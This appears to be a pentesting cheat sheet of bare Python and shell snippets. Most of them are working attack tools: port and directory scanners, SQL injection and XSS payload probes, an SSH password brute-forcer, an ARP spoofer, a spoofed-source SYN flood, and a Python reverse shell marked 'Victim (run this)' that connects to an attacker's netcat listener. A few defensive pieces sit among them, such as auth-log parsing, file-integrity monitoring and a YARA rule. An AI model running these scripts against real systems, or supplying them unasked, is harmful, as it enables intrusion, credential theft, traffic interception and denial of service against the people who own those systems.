# Variables & Input
target = input("Enter target IP: ")
port = 80

# Lists & Dictionaries
open_ports = []
services = {"22": "SSH", "80": "HTTP", "443": "HTTPS"}

# Loops
for ip in range(1, 255):
    scan(f"192.168.1.{ip}")

# Conditionals
if "root" in output:
    print("[!] Privilege escalation possible")

#!/usr/bin/env python3
import socket

def grab_banner(ip, port=80, timeout=2):
    try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        banner = s.recv(1024).decode().strip()
        print(f"[+] {ip}:{port} → {banner}")
        s.close()
    except:
        print(f"[-] {ip}:{port} → No response")

grab_banner("scanme.nmap.org", 80)

#!/usr/bin/env python3
import threading
import socket
from queue import Queue
import sys

def scan_port(ip, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        result = s.connect_ex((ip, port))
        if result == 0:
            print(f"[+] Port {port} OPEN")
        s.close()
    except:
        pass

def worker():
    while True:
        port = q.get()
        scan_port(target_ip, port)
        q.task_done()

target_ip = sys.argv[1]
q = Queue()
for i in range(500):  # 500 threads
    t = threading.Thread(target=worker, daemon=True)
    t.start()

for port in range(1, 65536):
    q.put(port)

q.join()
print("Scan complete.")

#!/usr/bin/env python3
import requests

wordlist = "/usr/share/wordlists/dirb/common.txt"
domain = "example.com"

for word in open(wordlist).read().splitlines():
    url = f"http://{word}.{domain}"
    try:
        r = requests.get(url, timeout=2)
        if r.status_code != 404:
            print(f"[+] Found: {url}")
    except:
        pass

import dns.resolver

domain = "megacorp.one"
records = ['A', 'MX', 'NS', 'TXT']

for r in records:
    try:
        answers = dns.resolver.resolve(domain, r)
        print(f"\n[{r} Records]")
        for server in answers:
            print(server.to_text())
    except:
        print(f"[-] No {r} records")

import requests

payloads = ["' OR 1=1--", "' OR 'a'='a", "1' UNION SELECT NULL--"]
url = "http://testphp.vulnweb.com/artists.php?artist=1"

for payload in payloads:
    try:
        r = requests.get(url + payload)
        if "error" not in r.text.lower() and len(r.text) > 1000:
            print(f"[!] Possible SQLi: {payload}")
    except:
        pass

payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
url = "http://testsite.com/search.php?q="

for p in payloads:
    r = requests.get(url + p)
    if p in r.text:
        print(f"[!] Reflected XSS: {p}")

import requests
from concurrent.futures import ThreadPoolExecutor

wordlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
url = "http://192.168.1.100/"

def check_dir(word):
    try:
        r = requests.get(url + word.strip(), timeout=3)
        if r.status_code in [200, 301, 302]:
            print(f"[+] Found: {url}{word.strip()} [{r.status_code}]")
    except:
        pass

with ThreadPoolExecutor(max_workers=50) as executor:
    with open(wordlist) as f:
        executor.map(check_dir, f)

# Attacker (listener)
nc -lvnp 4444

# Victim (run this)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.10",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

import paramiko
import sys

ip = sys.argv[1]
username = "root"
wordlist = "/usr/share/wordlists/rockyou.txt"

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

with open(wordlist) as f:
    for password in f.read().splitlines()[:100]:  # Limit for ethics
        try:
            ssh.connect(ip, username=username, password=password, timeout=2)
            print(f"[+] Password found: {password}")
            break
        except:
            print(f"[-] Failed: {password}")

#!/usr/bin/env python3
from scapy.all import *

def spoof(target_ip, spoof_ip):
    packet = ARP(op=2, pdst=target_ip, hwdst=getmacbyip(target_ip), psrc=spoof_ip)
    send(packet, verbose=False)

target = "192.168.1.100"
gateway = "192.168.1.1"

try:
    while True:
        spoof(target, gateway)
        spoof(gateway, target)
        time.sleep(2)
except KeyboardInterrupt:
    print("[*] Stopped.")

from scapy.all import *

src = RandIP()
for i in range(1000):
    IP_pkt = IP(src=src, dst="192.168.1.100")
    TCP_pkt = TCP(sport=RandShort(), dport=80, flags="S")
    send(IP_pkt/TCP_pkt, verbose=0)
print("Flood sent.")

import re
from collections import Counter

log_file = "/var/log/auth.log"
failed_ips = []

pattern = r"Failed password for .* from (\d+\.\d+\.\d+\.\d+)"
with open(log_file) as f:
    for line in f:
        match = re.search(pattern, line)
        if match:
            failed_ips.append(match.group(1))

top_attackers = Counter(failed_ips).most_common(5)
for ip, count in top_attackers:
    print(f"[!] {ip}: {count} failed logins")

import subprocess
import json

def vol_profile(image):
    cmd = ["volatility", "-f", image, "pslist"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Use with .mem dumps from CTFs

#!/usr/bin/env python3
import nmap

nm = nmap.PortScanner()
results = nm.scan('192.168.1.0/24', '22-443', arguments='-sV')

for host in nm.all_hosts():
    if nm[host].state() == 'up':
        print(f"\n[+] {host} is UP")
        for proto in nm[host].all_protocols():
            ports = nm[host][proto].keys()
            for port in ports:
                state = nm[host][proto][port]['state']
                service = nm[host][proto][port]['name']
                print(f"  {port}/tcp {state} {service}")

#!/usr/bin/env python3
import os
import sys

target = sys.argv[1]
os.system(f"mkdir -p recon/{target}")

# Full recon chain
os.system(f"nmap -A -oX recon/{target}/nmap.xml {target}")
os.system(f"nikto -h {target} -output recon/{target}/nikto.txt")
os.system(f"gobuster dir -u http://{target} -w /usr/share/wordlists/dirb/common.txt -o recon/{target}/gobuster.txt")

print(f"[*] Recon complete → recon/{target}/")

import hashlib
import time
import os

baseline = {}

def hash_file(path):
    with open(path, 'rb') as f:
        return hashlib.md5(f.read()).hexdigest()

# Create baseline
for file in ["/etc/passwd", "/etc/shadow"]:
    baseline[file] = hash_file(file)

# Monitor
while True:
    for file, old_hash in baseline.items():
        if os.path.exists(file):
            new_hash = hash_file(file)
            if new_hash != old_hash:
                print(f"[!] ALERT: {file} modified!")
    time.sleep(60)

import yara

rule = yara.compile(source='''
rule SuspiciousString {
    strings:
        $s1 = "eval("
        $s2 = "system("
    condition:
        any of them
}
''')

matches = rule.match("malicious.php")
if matches:
    print("[!] Malware pattern detected!")

#!/usr/bin/env python3
# auto_pentest.py
import argparse
from modules.recon import *
from modules.scan import *
from modules.exploit import *

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

print(f"[*] Starting pentest on {args.target}")
run_recon(args.target)
run_scan(args.target)
run_web_vulns(args.target)
generate_report(args.target)

# Networking
socket, requests, scapy, nmap

# Web
requests.get(), BeautifulSoup, selenium

# Crypto
hashlib.md5(), cryptography, base64

# Forensics
os, re, json, csv, pefile

# Exploit
pwntools, paramiko, subprocess

# Automation
threading, concurrent.futures, argparse